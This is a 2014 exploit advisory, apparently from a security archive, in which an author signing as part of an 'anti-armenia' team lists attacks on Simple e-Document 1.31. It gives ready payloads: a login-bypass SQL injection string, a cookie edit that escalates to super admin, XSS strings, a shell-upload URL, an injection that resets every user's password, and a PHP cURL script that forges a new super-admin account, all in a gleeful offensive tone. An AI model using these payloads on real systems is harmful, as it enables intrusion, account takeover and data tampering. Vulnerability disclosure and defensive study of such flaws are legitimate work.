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Simple e-Document 1.31 SQL Injection / XSS / CSRF / File Upload

Simple e-Document 1.31 SQL Injection / XSS / CSRF / File Upload
Posted Jan 26, 2014
Authored by PuN!Sh3r

Simple e-Document version 1.31 suffers from login bypass, cross site request forgery, cross site scripting, remote shell upload, remote SQL injection, and various other vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss, sql injection, csrf
SHA-256 | d8e915c9f3da5e00522f2f5a23346a479926590b24a8d0c3da5e67600297bd00

Simple e-Document 1.31 SQL Injection / XSS / CSRF / File Upload

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#################################################################################
[+]Exploit: Simple e-document v1.31 => Sql inj,Login Bypass,XSS,Insecure
#
Cookie Handling(privilege escalation),Arbitrary File Upload,
#
Second order injections, CSRF ,Insecure logout process
#
[+] Author: PuN!Sh3r
#
[+] Contact: http://anti-armenia.org
#
[+] version: Simple e-document v1.31
#
[+] Vendor Homepage: http://sourceforge.net/projects/simplee-doc/files/
#
#################################################################################

Hi everyone.I want to talk about some vulnerabilities which i have found in
Simple e-document script's sources.It has a lot issues.

Let's go...
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

1.Sql Injection(multiple=>there is exist another bugs.you can find them
same tecniques).

admin.php
---------
Snip:

$sql = "Insert into edocphp_users values('', '$username', '$r_password',
'$NOW_TIME', '$is_admin', '$is_s_admin')";

And $username, $r_password had not been sanitized.

-------
main_out.php( Vulnerable from head to bottom of page :D )
main_in.php (It is also :D )
-------



++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


2. Bypass login:

index.php
---------

write username : 'or 1=1 #
password : blank

And you will login successfull..

Vulnerable snip:
...
$username= stripslashes($_POST['username']);
$password= stripslashes($_POST['password']);
..
$sql = "SELECT * From edocphp_users WHERE username='$username' AND
password ='$r_password'";
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

3.Insecure cookie handling(Privilege escalation):

There is an issue with creating cookies after you login to system.
if you are simple user your cookie will be that username=Your username;
access=1;
You can change cookie part: change access 1 to 3 for capturing super
administrative access.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

4.XSS

index.php
---------
$_COOKIE['username'] is not sanitized and you can change it to ,for
example,<script>alert(document.cookie)</script>
and boom :D XSS appears..
This vuln is also exist in header_out.php and admin.php :

admin.php
----------
Go to the View/Edit/Remove Users and after clicking update intrecept
request and type that:

new_password=11111&is_admin=3&username_s=<script>alert()</script>&id=3&op=Update_User
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

5.Arbitrary File Upload
There is not any restriction in upload.php and you can upload your own
shell and enjoy :)

http://site.tld/script_path/upload.php?op=newin

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

6.Second order injections
You can change all users' passwords in the database with this vuln(Also
delete):
-----
admin.php
-----

Go to the View/Edit/Remove Users.
Change any of these pass to your own
After clicking update intrecept request with BurpSuite (or OwaspZap etc.)
and change this
new_password=&is_admin=3&username_s=admin&id='or 1=1#&op=Update_User
After this process all users' pass will be changed..
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

7.CSRF

This script doesn't have any session,for this reason you can add new super
admin.I have written a simple payload for it:
Payload:

<?php
$url="http://localhost/simple_e_document/admin.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS,
"username=admin&password=123456&is_admin=2&op=save_new_user");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, "username=FuckTheSystem;access=3");
$a = curl_exec ($ch);
echo $a;
curl_close ($ch);
?>

Change current values with your own.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

8.Insecure logout process.
You can force this proces to change its behaviour.For example,if you press
logout process,this post action happens :

op=logout&username= ANY USERNAME &Submit=Logout
you can change username value and make script to logout site for this user.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Respect to my all brothezz..
Anti-armenia team/ http://anti-armenia.org
./PuN!Sh3r
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